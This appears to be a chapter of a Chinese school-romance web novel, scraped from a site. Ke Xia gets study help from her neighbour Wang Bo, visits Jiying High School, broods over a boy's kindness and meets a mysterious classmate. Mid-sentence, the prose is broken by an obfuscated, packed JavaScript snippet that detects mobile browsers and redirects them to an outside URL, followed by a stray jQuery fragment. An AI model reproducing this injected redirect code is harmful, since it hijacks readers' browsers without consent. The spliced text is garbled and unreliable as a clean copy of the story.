街宁镇是绩市最不起眼的小镇,柯夏住的金田巷更是偏中偏,盛产打工人。但巧合的偶尔也有几个天才考入集英。柯夏算一个,另一个就是王琴英的儿子,叫王薄。
王薄开蒙就早,后来上了学更是没有一次考试不是第一的,顺利成章成了集英高中柯夏上一届的唯一录取的特招生。
鸡头变凤尾的时候也没气馁,一年时间就从中下游逆袭到了全校第二。
从此成了街宁镇的招牌大佬。
母辈交情的缘故,柯夏跟王薄挺熟。被难度超标的预科课本创飞之后,就想去拜托他帮忙,结果妈妈一病,忙得晕头转向一拖再拖,拖到了暑假结束前。
这天去敲王家的门,又不巧刚好遇上家庭大战。一阵锅碗瓢盆合奏乐后,她这位天之骄子哥哥就被亲妈王琴英踹了出门。
被战地记者柯夏发现时,天之骄子一身睡裤睡衣,跟不速之客面面相觑。
“笑,接着笑。”王少爷单手插着睡裤兜,阴着张白净的小脸。
柯夏把刚扯起来的嘴角压下去,小心翼翼用两个手指捏起怀里的集英高中预科本展示:“哥……这个……。”
多亏了她表情滑稽,王少爷表情缓和了些,像是终于找到出气筒似的,眼疾手快,抬手在柯夏脑门叩了下。
“啊!”
“什么时候了才来补课,有什么用。”
“行了。”王薄伸手把她作业本抽过来随意瞄了几眼,云淡风轻:“集英的预科也就开学考分个班的作用,最不济也就分去31班跟纨绔子弟们在一起。”
柯夏呆住了。小草包第一次遇到了分水岭。
完全没人通知她预科本是开学考的内容……而且这难度用来开学考的话,她真的要完蛋了……
“怎么了?”王薄掀起眼皮,看着低着头露出的脑袋顶,才发觉刚才说的话有点儿扎心,开口安慰,虽然也略显生硬:“去31班又怎么样,月考再分班,再考去好班就行了。再说了,有哥在你怕什么?”
“……”柯夏死闭着嘴没敢说出心里的话。
她哥还不如她呢,她三岁就开始帮他哥打蟑螂,一打就是十年,到现在王薄看见蟑螂第一反应还是猛敲柯夏家的门。
“怎么了,肩膀抖啥?被感动了?”
“……谢谢哥哥。”
柯夏妈妈住院之后,整条金田巷就自发轮流照顾她。但学校方面的事儿,大婶大妈们也是一窍不通,王薄跟王琴英最近拌嘴也抛之脑后了。
这会儿想起来,两三句话一问,才问出来傻妹妹银行卡没办,校服没领,连学校实地都没看三大宗。
没照顾好妹妹让王薄有点懊恼,赶紧叫柯夏回去把作业放下,干正事要紧。由于王女士还没消气,王同学翻窗回家换了身衣服,带着桃园结义的气势领柯夏上学校去了。
谁知道这丫头一到了校门口还没迈进去呢,就恩将仇报扎人心窝子。小姑娘抬着头,眼神又亮又纯净:“哥,我看荣誉榜上的名字了,你是第二名,真棒。”
“靠…”王薄刚才那点儿愧疚烟消云散,撒开了牵着妹妹的手:“我谢谢你。”
他刚因为这个跟亲妈王琴英吵过架!
不过,倒也不怪妈妈。这事儿起因是王琴英提了句让向第一名那位取取经,王同学自己是个小炮仗,一听那个名字就炸,噼里啪啦一顿暴跳,给人家整得莫名其妙。
柯夏也没例外,被小炮仗拽荣誉榜前面去了。王薄先给她脑袋拧起来,又伸出长胳膊捂上第一名,睁眼说瞎话:“看见没,这个榜是这么看的,捂上这个名字才是真正的排名。”
看着那个大大的“2”,柯夏的嘴跟被浆糊黏住了似的张不开,但还是点点头:“好,好吧。哥哥第一名。”
任哪个小炮仗来,遇上柯夏这盆冷水也是没招了。王薄自觉没趣,索性把柯夏往荣誉榜前一递:“看看看,看成斗鸡眼考倒数。”
柯夏眼睛自动瞄上锁定了第一名的名字——“谢纯”。是个陌生的名字,高出王薄十余分。
但她看出来了王薄不喜欢这个人,就没多停留,视线拉远。
荣誉榜上密密麻麻的名字,映入眼帘。
能考进集英高中的都是少年精英,但要进这张镶金边的前五十名荣誉榜,不仅得是精英,还大部分都得是人中龙凤。
脑海中什么画面一闪而过,雨点沁凉的触感仿佛又爬上了小腿。
柯夏扎得高高的小马尾被晚风吹得轻盈地一晃一晃,后脑勺却蓦地显得有些僵硬。
“哥,我能向你打听一个人吗。”
“嗯?哪儿人?”
“就,集英的。”
“你还有这儿人脉呢?”王薄望向她,狐疑地瞅了两秒,张口:“谁啊,别是什么新生群里不学无术的黄毛吧。”
“不……不是。”不知道是被急的还是怎么,柯夏的小脸“唰”地红成了关公,伸手比划着,很着急的样子,却半天憋不出来一句话。
其实她只是想道谢,为那个人伸出的援手,还有那颗糖。但被王薄往这方面一挑,一下子说也不是,不说也不是。
王薄看着她离奇的反应,缓缓吐出一个“靠”,跳起来道:“别真是黄毛吧?”
柯夏摇摇头,半天憋出一句:“不是你想的那样!就……我不问了还不行吗……”
“不是那样你脸红什么。”王薄不可思议地拽了柯夏一把:“我警告你啊,你今儿必须给我说明白,否则家法伺候。”
所谓的家法就是拔根麦子挠鼻子痒痒。
由于震慑力不太够,护妹心切的王炮仗等了半天,只等来一句“算了算了”,还有莫名其妙捂着脸,像阵小风似的逃跑的妹妹。
王薄算是被这小丫头气炸了,大喊:“你最好别让我在学校里逮到!”
…
办完学校里的事,柯夏浑身乏力地往家里的床上一塞,盯着白炽灯出神。
拖长的蝉鸣尾音嘶哑,闷在风里吹向远方。雨后这几天空气好,她记得妈妈嘱咐要多通风,不然对大脑发育不好,便起身费力地推开窗。
混杂着麦子清香的晚风瞬间灌进来,盈满暗沉的小屋,把窗台上那粒小小的糖吹得摇摇摆摆。
它的身后,反射着白炽灯光的集英高中校徽明亮如星。
柯夏的视线穿透它们,目光渐渐沉下来。
付出学费,不是她给那个男人的结局,这样的结局太便宜了。
她恨透了他,自那天之后,便更恨。
出神回来,四下夜幕已渐渐拉拢,柯夏眼神被一抹暖黄色吸过去,却是那粒蜂蜜糖。
她的心脏忽地被一阵陌生的节奏带起来。
扑通、扑通,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126204|196091||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一直飞快地持续了很久。
这颗糖,为什么?是可怜她么?
她当时的模样一定很狼狈。
记忆里,沁着冷色的眸光仿佛又穿破脑中弥漫的大雾向她看来。
到底是为什么?
察觉到自己的失神,柯夏愣神无措。月光静静洒在她手肘,手肘下,垫着没解开的数学题。
这是一个毫无必要解决的问题,甚至简直荒谬到了极点。她甩甩脑袋,重新拿起笔试图书写公式。
脑海某根神经却缓缓搏动起来,伴随着一个惊人的陌生的冲动在脑海里猛蹿。
她可以去集英了。
是不是可以遇到那个少年了?
如果能被再看一眼,她就能从眼神里猜测这个谜题。
陷入晃神的状态,她没有意识到呼吸也缓缓停滞。
到底……
是为什么。
。
开学后,分班考成绩出来还有两天,柯夏暂时被安排到8班。
8班虽然比不上尖子班,但跟尖子班一样位于东南方,阳光好又在一楼。
横竖特招生都要在开学考被刷到后面去,校方照顾照顾意思一下,吃了里子又吃了面子。
柯夏开学第一天高二在分科考,王薄没能伸手帮忙,她又是个路痴,从进校门到安置一套下来,晚自习直接迟到了十分钟。
气喘吁吁跑教室门口,讲台上已经站了个矮个子啤酒肚的男老师,长得一张标准的特级教师脸,听到门口的动静转了下头扶扶眼镜。柯夏刚张了张嘴,他就挥了挥手招呼柯夏进去,意思是别浪费时间。
她来得晚,位置也基本被占完了,柯夏垂着头往最后一排走,手腕却忽然一热,被抓住了。她一抬头,迎上张淡妆素抹,却五官深邃极具冲击力的脸。
女孩朝她笑了笑,却明显不咸不淡的:“夏夏,坐这儿吧,我等你好久了。”
又一手自然地扯开身边的凳子拍了拍:“给你占好了,坐吧。”
“?”柯夏瞳孔放大了一倍的。一秒内在脑海里调动了所有信息面容识别,确认真的没见过这个女生。
而且,女孩身上散发着一股幽香,柯夏虽然不识香水,但能闻出来好歹。柯夏认识的最高阶级也就他爹那个瘪三了,这女孩虽然跟她穿着同样的校服,但一看就是她爹都接触不到的阶层。
但女孩甚至连问句名字的时间都没给她,眨着大眼睛直视着她,像只志在必得的小狐狸,似乎她不坐就有罪似的。
“怎么了?怎么还不坐下来?”老班本就不满她迟到,这会儿皱了皱眉。
柯夏左右打量了下,妥协。在女孩身边放下书包,刚坐下,四下里立刻掀起一阵轻轻的惊讶声。
“好了好了。”老班摆摆手镇压下这点小动静,伸手开电脑:“已经浪费很多时间了啊。废话就不多说了,明天开始我们要军训了啊,我来说点注意事项。”
老班刚转过去,女孩立刻拿出小镜子,光明正大地补口红。膏体划过唇角时她从镜中注意到柯夏的眼神,转头递过来:“要不要?”
柯夏摇摇头,转过眼神,聚焦在老班投的PPT上。
“这么高冷啊。”她搁下口红,双手交叠在桌上,脑袋依偎着手肘,端详了柯夏的侧脸片刻后笑着悄声说:“我打听过你,你就是特招生吧。”